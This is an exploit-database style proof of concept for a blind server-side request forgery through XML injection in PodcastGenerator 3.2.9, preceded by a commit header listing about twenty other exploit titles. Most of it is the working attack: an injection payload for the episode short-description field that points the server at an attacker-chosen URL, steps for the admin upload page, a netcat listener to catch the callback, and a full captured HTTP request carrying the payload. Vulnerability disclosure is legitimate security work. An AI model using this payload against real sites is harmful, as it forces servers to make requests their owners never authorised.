ef9b4e5962
20 changes to exploits/shellcodes/ghdb TP-Link TL-WR940N V4 - Buffer OverFlow D-Link DAP-1325 - Broken Access Control Alkacon OpenCMS 15.0 - Multiple Cross-Site Scripting (XSS) Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 32-bit - Remote Code Execution (RCE) Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 64-bit - Remote Code Execution (RCE) FuguHub 8.1 - Remote Code Execution GZ Forum Script 1.8 - Stored Cross-Site Scripting (XSS) PodcastGenerator 3.2.9 - Blind SSRF via XML Injection POS Codekop v2.0 - Authenticated Remote Code Execution (RCE) Prestashop 8.0.4 - Cross-Site Scripting (XSS) Rukovoditel 3.4.1 - Multiple Stored XSS Sales of Cashier Goods v1.0 - Cross Site Scripting (XSS) spip v4.1.10 - Spoofing Admin account Time Slot Booking Calendar 1.8 - Stored Cross-Site Scripting (XSS) Vacation Rental 1.8 - Stored Cross-Site Scripting (XSS) WBCE CMS 1.6.1 - Open Redirect & CSRF WebsiteBaker v2.13.3 - Directory Traversal WebsiteBaker v2.13.3 - Stored XSS WP AutoComplete 1.0.4 - Unauthenticated SQLi
118 lines
No EOL
3.7 KiB
Text
118 lines
No EOL
3.7 KiB
Text
#Exploit Title: PodcastGenerator 3.2.9 - Blind SSRF via XML Injection
|
|
#Application: PodcastGenerator
|
|
#Version: v3.2.9
|
|
#Bugs: Blind SSRF via XML Injection
|
|
#Technology: PHP
|
|
#Vendor URL: https://podcastgenerator.net/
|
|
#Software Link: https://github.com/PodcastGenerator/PodcastGenerator
|
|
#Date of found: 01-07-2023
|
|
#Author: Mirabbas Ağalarov
|
|
#Tested on: Linux
|
|
|
|
2. Technical Details & POC
|
|
========================================
|
|
steps:
|
|
1. Go to 'Upload New Episodes' (http://localhost/PodcastGenerator/admin/episodes_upload.php)
|
|
2. Fill all section and Short Description section set as 'test]]></shortdescPG><imgPG path="">( example :Attacker domain)http://localhost:3132</imgPG><shortdescPG><![CDATA[test'
|
|
|
|
payload: test]]></shortdescPG><imgPG path="">http://localhost:3132</imgPG><shortdescPG><![CDATA[test
|
|
|
|
By the way i used localhost.If you have domain, you can use domain.
|
|
|
|
3.And upload episodes
|
|
|
|
4. I am listening on port 3132 because I'm observating for incoming requests
|
|
|
|
nc -lvp 3132
|
|
|
|
5. And I receive request
|
|
|
|
request:
|
|
|
|
POST /PodcastGenerator/admin/episodes_upload.php HTTP/1.1
|
|
Host: localhost
|
|
Content-Length: 101563
|
|
Cache-Control: max-age=0
|
|
sec-ch-ua:
|
|
sec-ch-ua-mobile: ?0
|
|
sec-ch-ua-platform: ""
|
|
Upgrade-Insecure-Requests: 1
|
|
Origin: http://localhost
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypRUTcUa48pmEcI6Q
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-User: ?1
|
|
Sec-Fetch-Dest: document
|
|
Referer: http://localhost/PodcastGenerator/admin/episodes_upload.php
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Cookie: PHPSESSID=rsvvc28on2q91ael2fiou3nad3
|
|
Connection: close
|
|
|
|
------WebKitFormBoundarypRUTcUa48pmEcI6Q
|
|
Content-Disposition: form-data; name="file"; filename="2023-07-01_2023-07-01_2023-07-01_4_photo-1575936123452-b67c3203c357_1_ (2).jpeg"
|
|
Content-Type: image/jpeg
|
|
|
|
image content blaaahblahasdfjblaaah;sdfblaaahasdf
|
|
asdfasdfadddblaaahdblaaahddddblaaahddddddblaaahblaaahblaaahdddblaaahddddblaaahdblaaahddblaaahdddddblaaahddddddddddd
|
|
|
|
------WebKitFormBoundarypRUTcUa48pmEcI6Q
|
|
Content-Disposition: form-data; name="title"
|
|
|
|
test
|
|
------WebKitFormBoundarypRUTcUa48pmEcI6Q
|
|
Content-Disposition: form-data; name="shortdesc"
|
|
|
|
test]]></shortdescPG><imgPG path="">http://localhost:3132</imgPG><shortdescPG><![CDATA[test
|
|
------WebKitFormBoundarypRUTcUa48pmEcI6Q
|
|
Content-Disposition: form-data; name="date"
|
|
|
|
2023-07-01
|
|
------WebKitFormBoundarypRUTcUa48pmEcI6Q
|
|
Content-Disposition: form-data; name="time"
|
|
|
|
17:02
|
|
------WebKitFormBoundarypRUTcUa48pmEcI6Q
|
|
Content-Disposition: form-data; name="episodecover"; filename=""
|
|
Content-Type: application/octet-stream
|
|
|
|
|
|
------WebKitFormBoundarypRUTcUa48pmEcI6Q
|
|
Content-Disposition: form-data; name="longdesc"
|
|
|
|
test
|
|
------WebKitFormBoundarypRUTcUa48pmEcI6Q
|
|
Content-Disposition: form-data; name="episodenum"
|
|
|
|
33
|
|
------WebKitFormBoundarypRUTcUa48pmEcI6Q
|
|
Content-Disposition: form-data; name="seasonnum"
|
|
|
|
33
|
|
------WebKitFormBoundarypRUTcUa48pmEcI6Q
|
|
Content-Disposition: form-data; name="itunesKeywords"
|
|
|
|
|
|
------WebKitFormBoundarypRUTcUa48pmEcI6Q
|
|
Content-Disposition: form-data; name="explicit"
|
|
|
|
no
|
|
------WebKitFormBoundarypRUTcUa48pmEcI6Q
|
|
Content-Disposition: form-data; name="authorname"
|
|
|
|
|
|
------WebKitFormBoundarypRUTcUa48pmEcI6Q
|
|
Content-Disposition: form-data; name="authoremail"
|
|
|
|
|
|
------WebKitFormBoundarypRUTcUa48pmEcI6Q
|
|
Content-Disposition: form-data; name="customtags"
|
|
|
|
|
|
------WebKitFormBoundarypRUTcUa48pmEcI6Q
|
|
Content-Disposition: form-data; name="token"
|
|
|
|
vdzM0jc75uLMHV7ovxew8Dawh5mnWSpz
|
|
------WebKitFormBoundarypRUTcUa48pmEcI6Q-- |